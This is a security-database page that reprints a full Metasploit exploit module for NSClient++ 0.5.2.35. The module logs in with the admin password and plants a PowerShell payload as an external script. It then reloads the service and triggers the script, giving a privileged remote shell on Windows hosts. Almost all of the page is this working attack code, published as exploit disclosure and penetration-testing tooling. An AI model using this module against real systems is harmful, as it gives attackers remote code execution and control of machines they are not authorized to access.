Lucene search
K

NSClient++ 0.5.2.35 Remote Code Execution

🗓️ 10 Jun 2021 00:00:00Reported by kindredsecType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 326 Views

NSClient++ 0.5.2.35 - Remote Code Execution with admin passwor

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include ::Msf::Exploit::Remote::HttpClient  
include ::Msf::Exploit::CmdStager  
include ::Msf::Exploit::Powershell  
prepend ::Msf::Exploit::Remote::AutoCheck  
include ::Rex::Text  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'NSClient++ 0.5.2.35 - ExternalScripts Authenticated Remote Code Execution',  
'Description' => %q{  
This module allows an attacker with knowledge of the admin password of NSClient++  
to start a privilege shell.  
For this module to work, both web interface of NSClient++ and `ExternalScripts` feature  
should be enabled.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'kindredsec', # POC on www.exploit-db.com  
'Yann Castel (yann.castel[at]orange.com)' # Metasploit module  
],  
'References' =>  
[  
['EDB', '48360']  
],  
'Platform' => %w[windows],  
'Arch' => [ARCH_X64],  
'Targets' =>  
[  
[  
'Windows',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_powershell  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => '2020-10-20',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'DefaultOptions' => { 'SSL' => true }  
)  
)  
  
register_options [  
Opt::RPORT(8443),  
OptString.new('PASSWORD', [true, 'Password to authenticate with on NSClient web interface', nil])  
]  
end  
  
def configure_payload(token, cmd, key)  
print_status('Configuring Script with Specified Payload . . .')  
  
plugin_id = rand(1..10000).to_s  
  
node = {  
'path' => '/settings/external scripts/scripts',  
'key' => key  
}  
value = { 'string_data' => cmd }  
update = { 'node' => node, 'value' => value }  
payload = [  
{  
'plugin_id' => plugin_id,  
'update' => update  
}  
]  
json_data = { 'type' => 'SettingsRequestMessage', 'payload' => payload }  
  
r = send_request_cgi({  
'method' => 'POST',  
'data' => JSON.generate(json_data),  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/settings/query.json')  
})  
  
if !(r&.body.to_s.include? 'STATUS_OK')  
print_error('Error configuring payload. Hit error at: ' + endpoint)  
end  
  
print_status('Added External Script (name: ' + key + ')')  
sleep(3)  
print_status('Saving Configuration . . .')  
header = { 'version' => '1' }  
payload = [ { 'plugin_id' => plugin_id, 'control' => { 'command' => 'SAVE' } } ]  
json_data = { 'header' => header, 'type' => 'SettingsRequestMessage', 'payload' => payload }  
  
send_request_cgi({  
'method' => 'POST',  
'data' => JSON.generate(json_data),  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/settings/query.json')  
})  
end  
  
def reload_config(token)  
print_status('Reloading Application . . .')  
  
send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/core/reload')  
})  
  
print_status('Waiting for Application to reload . . .')  
sleep(10)  
response = false  
count = 0  
until response  
begin  
sleep(2)  
r = send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/')  
})  
if !r.body.empty?  
response = true  
end  
rescue StandardError  
count += 1  
if count > 10  
fail_with(Failure::Unreachable, 'Application failed to reload. Nice DoS exploit!')  
end  
end  
end  
end  
  
def trigger_payload(token, key)  
print_status('Triggering payload, should execute shortly . . .')  
  
send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri("/query/#{key}")  
})  
rescue StandardError => e  
print_error("Request could not be sent. #{e.class} error raised with message '#{e.message}'")  
end  
  
def external_scripts_feature_enabled?(token)  
r = send_request_cgi({  
'method' => 'GET',  
'headers' => { 'TOKEN' => token },  
'uri' => normalize_uri('/registry/control/module/load'),  
'vars_get' => { 'name' => 'CheckExternalScripts' }  
})  
  
r&.body.to_s.include? 'STATUS_OK'  
end  
  
def get_auth_token  
r = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri('/auth/token?password=' + datastore['PASSWORD'])  
})  
  
if r.code == 200  
begin  
auth_token = r.body.to_s[/"auth token": "(\w*)"/, 1]  
return auth_token  
rescue StandardError  
:no_token_found  
end  
else  
:wrong_password  
end  
rescue StandardError  
:failed_to_connect  
end  
  
def check  
token = get_auth_token  
  
if token == :failed_to_connect  
CheckCode::Safe("Can't access to NSClient web interface, maybe the web interface is not activated or something is wrong with the targeted host")  
elsif token == :wrong_password  
CheckCode::Unknown('Unable to connect to NSClient web interface because the admin password given is wrong')  
elsif token == :no_token_found  
CheckCode::Unknown('Unable to get an authentication token, maybe the target is safe')  
else  
print_good('Got auth token: ' + token)  
if external_scripts_feature_enabled?(token)  
CheckCode::Vulnerable('External scripts feature enabled !')  
else  
CheckCode::Safe('External scripts feature disabled !')  
end  
end  
end  
  
def exploit  
cmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true)  
token = get_auth_token  
  
if token != :failed_to_connect && token != :wrong_password && token != :no_token_found  
rand_key = rand_text_alpha_lower(10)  
configure_payload(token, cmd, rand_key)  
reload_config(token)  
token = get_auth_token # reloading the app might imply the need to create a new auth token as the former could have been deleted  
trigger_payload(token, rand_key)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation